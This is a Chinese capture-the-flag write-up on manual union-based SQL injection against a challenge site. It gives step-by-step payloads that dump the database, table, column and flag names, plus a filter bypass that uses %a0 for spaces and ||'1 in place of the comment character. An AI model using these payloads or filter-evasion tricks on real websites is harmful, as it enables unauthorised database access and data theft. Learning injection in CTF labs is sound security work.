
最初没意识到这道题有多离谱,还想着用sqlmap就能直接做出来结果做了两个小时再加上问队内大佬才做出来
按道理是要先测试长度

空格被过滤掉了,尝试用编码替换,如:%a0(加号)绕过
不仅如此,#也被过滤了,需要用||’结尾来绕过
爆库名

?id=1%27%a0union%a0select%a0database(),user(),3,4||%271
%27是(‘),%a0充当+号,因为空格被过滤了,最后的#号要用||%27来换
爆表名

1’%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),3,4||’1
字段为长度3,要保证查询正确就需要加上两个查询值,可以把三和四改成其他
爆列名

1’%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=’pcnumber’),3,4||’1
爆字段

1’%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0pcnumber%a0limit%a00,1),3,4||’1
这里需要加上limit 目的是为了使回显限制全部
这道题是就是完整的需要手工注入的题目,步骤还是循规蹈矩。考察sql注入的过滤词替换以及waf绕过
这也让我意识到之前做的那些sql注入题因为大多数都可以用工具做出来导致产生了依赖性而忽略了手动注入的重要性下面附上一些基本的Sql语句
判断列数
1′ order by 3#//对数据进行排列,超过我们输的数字就会报错
Union联合注入
union 前后的两个 sql 语句的选择列数要相同才可以
id 的数据在数据库中不存在为空时会自动显示出后面的查询语句,比如我们让id=-1,然后union select user,password from users#这就是一个查询的一种例子
爆数据库
id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata–+
在查资料的过程中有一个确认显示位的知识点:?id=-1’ union select 1,2,3 –+,然后页面显示2,2就是显示位,然后在2处去构造攻击语句